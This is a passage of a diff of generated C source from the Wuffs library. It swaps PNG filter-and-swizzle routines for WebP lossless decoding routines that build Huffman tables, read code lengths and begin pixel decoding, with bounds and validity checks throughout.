v_code_len = ((uint32_t)(self->private_impl.f_code_length_code_lengths[v_symbol])); ++ if (v_code_len != 0u) { ++ v_histogram[v_code_len] += 1u; ++ v_n_used_symbols += 1u; ++ v_last_used_symbol = v_symbol; ++ } ++ v_symbol += 1u; ++ } ++ if (v_n_used_symbols < 1u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); ++ } else if (v_n_used_symbols == 1u) { ++ self->private_data.f_code_lengths_huffman_nodes[0u] = ((uint16_t)((v_last_used_symbol | 32768u))); ++ return wuffs_base__make_status(NULL); ++ } ++ v_subscription_weight = 16384u; ++ v_code_len = 1u; ++ while (true) { ++ v_curr_code = ((uint32_t)(((uint32_t)(v_curr_code + v_histogram[v_code_len])) << 1u)); ++ v_next_codes[(v_code_len + 1u)] = v_curr_code; ++ v_subscription_total += ((uint32_t)(v_subscription_weight * v_histogram[v_code_len])); ++ v_subscription_weight >>= 1u; ++ if (v_code_len >= 7u) { ++ break; ++ } ++ v_code_len += 1u; ++ } ++ if (v_subscription_total > 32768u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_over_subscribed); ++ } else if (v_subscription_total < 32768u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_under_subscribed); ++ } ++ self->private_data.f_code_lengths_huffman_nodes[0u] = 0u; ++ v_symbol = 0u; ++ while (v_symbol < 19u) { ++ v_code_len = ((uint32_t)(self->private_impl.f_code_length_code_lengths[v_symbol])); ++ if (v_code_len > 0u) { ++ v_code_bits = v_next_codes[v_code_len]; ++ v_next_codes[v_code_len] += 1u; ++ v_code_bits <<= (32u - v_code_len); ++ v_h = 0u; ++ while (v_code_len > 0u) { ++ v_node = self->private_data.f_code_lengths_huffman_nodes[v_h]; ++ if (v_node == 0u) { ++ v_children = ((uint32_t)(1u + ((uint32_t)(2u * v_n_branches)))); ++ v_children = wuffs_base__u32__min(v_children, 35u); ++ self->private_data.f_code_lengths_huffman_nodes[v_h] = ((uint16_t)(v_children)); ++ self->private_data.f_code_lengths_huffman_nodes[(v_children + 0u)] = 0u; ++ self->private_data.f_code_lengths_huffman_nodes[(v_children + 1u)] = 0u; ++ v_h = (v_children + (v_code_bits >> 31u)); ++ v_n_branches += 1u; ++ } else { ++ v_children = ((uint32_t)(v_node)); ++ v_h = (wuffs_base__u32__min(v_children, 35u) + (v_code_bits >> 31u)); ++ } ++ v_code_bits <<= 1u; ++ v_code_len -= 1u; ++ } ++ self->private_data.f_code_lengths_huffman_nodes[v_h] = ((uint16_t)((v_symbol | 32768u))); ++ } ++ v_symbol += 1u; ++ } ++ return wuffs_base__make_status(NULL); + } + ++// -------- func webp.decoder.build_huffman_nodes ++ + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint64_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row0 = 0; +- uint64_t v_dst_bytes_per_row1 = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- uint32_t v_y = 0; +- wuffs_base__slice_u8 v_dst = {0}; +- uint8_t v_filter = 0; +- wuffs_base__slice_u8 v_curr_row = {0}; +- wuffs_base__slice_u8 v_prev_row = {0}; +- +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++wuffs_webp__decoder__build_huffman_nodes( ++ wuffs_webp__decoder* self, ++ uint32_t a_hg, ++ uint32_t a_ht) { ++ uint32_t v_base_offset = 0; ++ uint32_t v_code_bits = 0; ++ uint32_t v_code_len = 0; ++ uint32_t v_symbol = 0; ++ uint32_t v_histogram[16] = {0}; ++ uint32_t v_n_used_symbols = 0; ++ uint32_t v_last_used_symbol = 0; ++ uint32_t v_subscription_weight = 0; ++ uint32_t v_subscription_total = 0; ++ uint32_t v_curr_code = 0; ++ uint32_t v_next_codes[17] = {0}; ++ uint32_t v_n_branches = 0; ++ uint32_t v_h = 0; ++ uint32_t v_children = 0; ++ uint16_t v_node = 0; ++ ++ v_base_offset = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[a_ht])); ++ v_symbol = 0u; ++ while (v_symbol < self->private_impl.f_ht_n_symbols) { ++ v_code_len = ((uint32_t)(((uint16_t)(self->private_data.f_code_lengths[v_symbol] & 15u)))); ++ if (v_code_len != 0u) { ++ v_histogram[v_code_len] += 1u; ++ v_n_used_symbols += 1u; ++ v_last_used_symbol = v_symbol; ++ } ++ v_symbol += 1u; ++ } ++ if (v_n_used_symbols < 1u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); ++ } else if (v_n_used_symbols == 1u) { ++ self->private_data.f_huffman_nodes[a_hg][v_base_offset] = ((uint16_t)((v_last_used_symbol | 32768u))); ++ return wuffs_base__make_status(NULL); + } +- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); +- v_dst_bytes_per_row0 = (((uint64_t)(self->private_impl.f_frame_rect_x0)) * v_dst_bytes_per_pixel); +- v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- if (v_dst_bytes_per_row1 < ((uint64_t)(v_tab.width))) { +- v_tab = wuffs_base__table_u8__subtable_ij(v_tab, +- 0u, +- 0u, +- v_dst_bytes_per_row1, +- ((uint64_t)(v_tab.height))); ++ v_subscription_weight = 16384u; ++ v_code_len = 1u; ++ while (true) { ++ v_curr_code = ((uint32_t)(((uint32_t)(v_curr_code + v_histogram[v_code_len])) << 1u)); ++ v_next_codes[(v_code_len + 1u)] = v_curr_code; ++ v_subscription_total += ((uint32_t)(v_subscription_weight * v_histogram[v_code_len])); ++ v_subscription_weight >>= 1u; ++ if (v_code_len >= 15u) { ++ break; ++ } ++ v_code_len += 1u; ++ } ++ if (v_subscription_total > 32768u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_over_subscribed); ++ } else if (v_subscription_total < 32768u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_under_subscribed); ++ } ++ self->private_data.f_huffman_nodes[a_hg][v_base_offset] = 0u; ++ v_symbol = 0u; ++ while (v_symbol < self->private_impl.f_ht_n_symbols) { ++ v_code_len = ((uint32_t)(((uint16_t)(self->private_data.f_code_lengths[v_symbol] & 15u)))); ++ if (v_code_len != 0u) { ++ v_code_bits = v_next_codes[v_code_len]; ++ v_next_codes[v_code_len] += 1u; ++ v_code_bits <<= (32u - v_code_len); ++ v_h = v_base_offset; ++ while (v_code_len > 0u) { ++ v_node = self->private_data.f_huffman_nodes[a_hg][v_h]; ++ if (v_node == 0u) { ++ v_children = ((uint32_t)(v_base_offset + ((uint32_t)(1u + ((uint32_t)(2u * v_n_branches)))))); ++ v_children = wuffs_base__u32__min(v_children, 6265u); ++ self->private_data.f_huffman_nodes[a_hg][v_h] = ((uint16_t)(v_children)); ++ self->private_data.f_huffman_nodes[a_hg][(v_children + 0u)] = 0u; ++ self->private_data.f_huffman_nodes[a_hg][(v_children + 1u)] = 0u; ++ v_h = (v_children + (v_code_bits >> 31u)); ++ v_n_branches += 1u; ++ } else { ++ v_children = ((uint32_t)(v_node)); ++ v_h = (wuffs_base__u32__min(v_children, 6265u) + (v_code_bits >> 31u)); ++ } ++ v_code_bits <<= 1u; ++ v_code_len -= 1u; ++ } ++ self->private_data.f_huffman_nodes[a_hg][v_h] = ((uint16_t)((v_symbol | 32768u))); ++ } ++ v_symbol += 1u; + } +- if (v_dst_bytes_per_row0 < ((uint64_t)(v_tab.width))) { +- v_tab = wuffs_base__table_u8__subtable_ij(v_tab, +- v_dst_bytes_per_row0, +- 0u, +- ((uint64_t)(v_tab.width)), +- ((uint64_t)(v_tab.height))); +- } else { +- v_tab = wuffs_base__table_u8__subtable_ij(v_tab, +- 0u, +- 0u, +- 0u, +- 0u); ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func webp.decoder.build_code_lengths ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__build_code_lengths( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_use_length = 0; ++ uint32_t v_length_n_bits = 0; ++ uint32_t v_length = 0; ++ uint16_t v_prev_code_length = 0; ++ uint32_t v_h = 0; ++ uint32_t v_s = 0; ++ uint32_t v_s_max = 0; ++ uint16_t v_node = 0; ++ uint32_t v_symbol = 0; ++ uint16_t v_repeat_value = 0; ++ uint32_t v_repeat_n_bits = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- v_y = self->private_impl.f_frame_rect_y0; +- while (v_y < self->private_impl.f_frame_rect_y1) { +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_y); +- if (1u > ((uint64_t)(a_workbuf.len))) { +- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); ++ ++ uint32_t coro_susp_point = self->private_impl.p_build_code_lengths; ++ if (coro_susp_point) { ++ v_length_n_bits = self->private_data.s_build_code_lengths.v_length_n_bits; ++ v_prev_code_length = self->private_data.s_build_code_lengths.v_prev_code_length; ++ v_s = self->private_data.s_build_code_lengths.v_s; ++ v_s_max = self->private_data.s_build_code_lengths.v_s_max; ++ v_node = self->private_data.s_build_code_lengths.v_node; ++ v_repeat_value = self->private_data.s_build_code_lengths.v_repeat_value; ++ v_repeat_n_bits = self->private_data.s_build_code_lengths.v_repeat_n_bits; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; + } +- v_filter = a_workbuf.ptr[0u]; +- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); +- if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { +- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); ++ v_use_length = (self->private_impl.f_bits & 1u); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ self->private_impl.f_ht_code_lengths_remaining = self->private_impl.f_ht_n_symbols; ++ if (v_use_length != 0u) { ++ if (self->private_impl.f_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= 3u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_length_n_bits = (((self->private_impl.f_bits & 7u) * 2u) + 2u); ++ self->private_impl.f_bits >>= 3u; ++ self->private_impl.f_n_bits -= 3u; ++ while (self->private_impl.f_n_bits < v_length_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (self->private_impl.f_n_bits >= v_length_n_bits) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_length = ((self->private_impl.f_bits & ((((uint32_t)(1u)) << v_length_n_bits) - 1u)) + 2u); ++ self->private_impl.f_bits >>= v_length_n_bits; ++ self->private_impl.f_n_bits -= v_length_n_bits; ++ if (v_length > self->private_impl.f_ht_n_symbols) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); ++ goto exit; ++ } ++ self->private_impl.f_ht_code_lengths_remaining = v_length; + } +- v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); +- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); +- if (v_filter == 0u) { +- } else if (v_filter == 1u) { +- wuffs_png__decoder__filter_1(self, v_curr_row); +- } else if (v_filter == 2u) { +- wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); +- } else if (v_filter == 3u) { +- wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); +- } else if (v_filter == 4u) { +- wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); +- } else { +- return wuffs_base__make_status(wuffs_png__error__bad_filter); ++ v_prev_code_length = 8u; ++ while (v_s < self->private_impl.f_ht_n_symbols) { ++ if (self->private_impl.f_ht_code_lengths_remaining <= 0u) { ++ while (v_s < self->private_impl.f_ht_n_symbols) { ++ self->private_data.f_code_lengths[v_s] = 0u; ++ v_s += 1u; ++ } ++ break; ++ } ++ self->private_impl.f_ht_code_lengths_remaining -= 1u; ++ v_h = 0u; ++ while (true) { ++ v_node = self->private_data.f_code_lengths_huffman_nodes[v_h]; ++ if (v_node >= 32768u) { ++ break; ++ } else if (v_node > 35u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_huffman_code); ++ goto exit; ++ } ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_h = (((uint32_t)(v_node)) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ } ++ v_symbol = ((uint32_t)(((uint16_t)(v_node & 32767u)))); ++ if (v_symbol == 0u) { ++ self->private_data.f_code_lengths[v_s] = 0u; ++ v_s += 1u; ++ continue; ++ } else if (v_symbol < 16u) { ++ v_prev_code_length = ((uint16_t)(v_symbol)); ++ self->private_data.f_code_lengths[v_s] = v_prev_code_length; ++ v_s += 1u; ++ continue; ++ } else if (v_symbol == 16u) { ++ v_repeat_value = v_prev_code_length; ++ } else { ++ v_repeat_value = 0u; ++ } ++ v_repeat_n_bits = ((uint32_t)(WUFFS_WEBP__REPEAT_N_BITS[(v_symbol & 3u)])); ++ v_s_max = ((uint32_t)(((uint32_t)(WUFFS_WEBP__REPEAT_COUNTS[(v_symbol & 3u)])) + v_s)); ++ if (self->private_impl.f_n_bits < v_repeat_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if (self->private_impl.f_n_bits >= v_repeat_n_bits) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_s_max += (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_repeat_n_bits) - 1u)); ++ self->private_impl.f_bits >>= v_repeat_n_bits; ++ self->private_impl.f_n_bits -= v_repeat_n_bits; ++ if (v_s_max > self->private_impl.f_ht_n_symbols) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); ++ goto exit; ++ } ++ while (v_s < v_s_max) { ++ self->private_data.f_code_lengths[v_s] = v_repeat_value; ++ v_s += 1u; ++ } + } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, v_curr_row); +- v_prev_row = v_curr_row; +- v_y += 1u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_build_code_lengths = 0; ++ goto exit; + } +- return wuffs_base__make_status(NULL); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_build_code_lengths = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_build_code_lengths.v_length_n_bits = v_length_n_bits; ++ self->private_data.s_build_code_lengths.v_prev_code_length = v_prev_code_length; ++ self->private_data.s_build_code_lengths.v_s = v_s; ++ self->private_data.s_build_code_lengths.v_s_max = v_s_max; ++ self->private_data.s_build_code_lengths.v_node = v_node; ++ self->private_data.s_build_code_lengths.v_repeat_value = v_repeat_value; ++ self->private_data.s_build_code_lengths.v_repeat_n_bits = v_repeat_n_bits; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; + } + +-// -------- func png.decoder.filter_and_swizzle_tricky ++// -------- func webp.decoder.decode_pixels_slow + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle_tricky( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint64_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row1 = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- uint64_t v_src_bytes_per_pixel = 0; ++wuffs_webp__decoder__decode_pixels_slow( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_dst, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_width, ++ uint32_t a_height, ++ wuffs_base__slice_u8 a_tile_data, ++ uint32_t a_tile_size_log2) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint64_t v_p = 0; ++ uint64_t v_p_max = 0; ++ uint32_t v_tile_size_log2 = 0; ++ uint32_t v_width_in_tiles = 0; + uint32_t v_x = 0; + uint32_t v_y = 0; +- uint64_t v_i = 0; +- wuffs_base__slice_u8 v_dst = {0}; +- uint8_t v_filter = 0; +- wuffs_base__slice_u8 v_s = {0}; +- wuffs_base__slice_u8 v_curr_row = {0}; +- wuffs_base__slice_u8 v_prev_row = {0}; +- uint8_t v_bits_unpacked[8] = {0}; +- uint8_t v_bits_packed = 0; +- uint8_t v_packs_remaining = 0; +- uint8_t v_multiplier = 0; +- uint8_t v_shift = 0; ++ uint32_t v_i = 0; ++ uint32_t v_hg = 0; ++ uint32_t v_h = 0; ++ uint16_t v_node = 0; ++ uint32_t v_pixel_g = 0; ++ uint32_t v_color = 0; ++ wuffs_base__slice_u8 v_dst_pixel = {0}; ++ uint32_t v_back_ref_len_n_bits = 0; ++ uint32_t v_back_ref_len_minus_1 = 0; ++ uint32_t v_back_ref_dist_n_bits = 0; ++ uint32_t v_back_ref_dist_sym = 0; ++ uint32_t v_back_ref_dist_premap_minus_1 = 0; ++ uint32_t v_back_ref_dist_minus_1 = 0; ++ uint32_t v_dm = 0; ++ uint32_t v_dx = 0; ++ uint32_t v_dy = 0; ++ uint64_t v_p_end = 0; ++ uint64_t v_dist4 = 0; ++ uint64_t v_q = 0; ++ wuffs_base__slice_u8 v_color_cache_pixels = {0}; ++ uint64_t v_color_cache_p = 0; ++ uint32_t v_color_cache_shift = 0; + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +- } +- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); +- v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- v_src_bytes_per_pixel = 1u; +- if (self->private_impl.f_depth >= 8u) { +- v_src_bytes_per_pixel = (((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type])) * ((uint64_t)((self->private_impl.f_depth >> 3u)))); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (self->private_impl.f_chunk_type_array[0u] == 73u) { +- v_y = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][5u])); +- } else { +- v_y = self->private_impl.f_frame_rect_y0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_pixels_slow; ++ if (coro_susp_point) { ++ v_p = self->private_data.s_decode_pixels_slow.v_p; ++ v_p_max = self->private_data.s_decode_pixels_slow.v_p_max; ++ v_tile_size_log2 = self->private_data.s_decode_pixels_slow.v_tile_size_log2; ++ v_width_in_tiles = self->private_data.s_decode_pixels_slow.v_width_in_tiles; ++ v_x = self->private_data.s_decode_pixels_slow.v_x; ++ v_y = self->private_data.s_decode_pixels_slow.v_y; ++ v_hg = self->private_data.s_decode_pixels_slow.v_hg; ++ v_node = self->private_data.s_decode_pixels_slow.v_node; ++ v_color = self->private_data.s_decode_pixels_slow.v_color; ++ v_back_ref_len_n_bits = self->private_data.s_decode_pixels_slow.v_back_ref_len_n_bits; ++ v_back_ref_len_minus_1 = self->private_data.s_decode_pixels_slow.v_back_ref_len_minus_1; ++ v_back_ref_dist_n_bits = self->private_data.s_decode_pixels_slow.v_back_ref_dist_n_bits; ++ v_back_ref_dist_premap_minus_1 = self->private_data.s_decode_pixels_slow.v_back_ref_dist_premap_minus_1; ++ v_color_cache_p = self->private_data.s_decode_pixels_slow.v_color_cache_p; + } +- while (v_y < self->private_impl.f_frame_rect_y1) { +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_y); +- if (v_dst_bytes_per_row1 < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row1); +- } +- if (1u > ((uint64_t)(a_workbuf.len))) { +- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); +- } +- v_filter = a_workbuf.ptr[0u]; +- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); +- if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { +- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); +- } +- v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); +- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); +- if (v_filter == 0u) { +- } else if (v_filter == 1u) { +- wuffs_png__decoder__filter_1(self, v_curr_row); +- } else if (v_filter == 2u) { +- wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); +- } else if (v_filter == 3u) { +- wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); +- } else if (v_filter == 4u) { +- wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); +- } else { +- return wuffs_base__make_status(wuffs_png__error__bad_filter); ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ v_p_max = ((uint64_t)((4u * a_width * a_height))); ++ if (((uint64_t)(a_dst.len)) < v_p_max) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); ++ goto exit; + } +- v_s = v_curr_row; +- if (self->private_impl.f_chunk_type_array[0u] == 73u) { +- v_x = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][2u])); ++ if (a_tile_size_log2 != 0u) { ++ v_tile_size_log2 = a_tile_size_log2; ++ v_width_in_tiles = ((a_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2); + } else { +- v_x = self->private_impl.f_frame_rect_x0; ++ v_tile_size_log2 = 31u; ++ v_width_in_tiles = 1u; + } +- if (self->private_impl.f_depth == 8u) { +- while (v_x < self->private_impl.f_frame_rect_x1) { +- v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); +- if (v_i <= ((uint64_t)(v_dst.len))) { +- if (self->private_impl.f_color_type == 4u) { +- if (2u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[0u]; +- v_bits_unpacked[1u] = v_s.ptr[0u]; +- v_bits_unpacked[2u] = v_s.ptr[0u]; +- v_bits_unpacked[3u] = v_s.ptr[1u]; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); +- } +- } else if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { +- if (self->private_impl.f_color_type == 0u) { +- if (1u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[0u]; +- v_bits_unpacked[1u] = v_s.ptr[0u]; +- v_bits_unpacked[2u] = v_s.ptr[0u]; +- v_bits_unpacked[3u] = 255u; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); +- if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | +- (((uint32_t)(v_bits_unpacked[1u])) << 8u) | +- (((uint32_t)(v_bits_unpacked[2u])) << 16u) | +- (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { +- v_bits_unpacked[0u] = 0u; +- v_bits_unpacked[1u] = 0u; +- v_bits_unpacked[2u] = 0u; +- v_bits_unpacked[3u] = 0u; +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); ++ while (v_p < v_p_max) { ++ v_i = ((uint32_t)(((uint32_t)(((uint32_t)(((uint32_t)((v_y >> v_tile_size_log2) * v_width_in_tiles)) + (v_x >> v_tile_size_log2))) * 4u)) + 1u)); ++ if (((uint64_t)(v_i)) < ((uint64_t)(a_tile_data.len))) { ++ v_hg = ((uint32_t)(a_tile_data.ptr[((uint64_t)(v_i))])); ++ } ++ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[0u])); ++ while (true) { ++ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; ++ if (v_node >= 32768u) { ++ break; ++ } else if (v_node > 6265u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_huffman_code); ++ goto exit; ++ } ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ self->private_impl.f_bits = 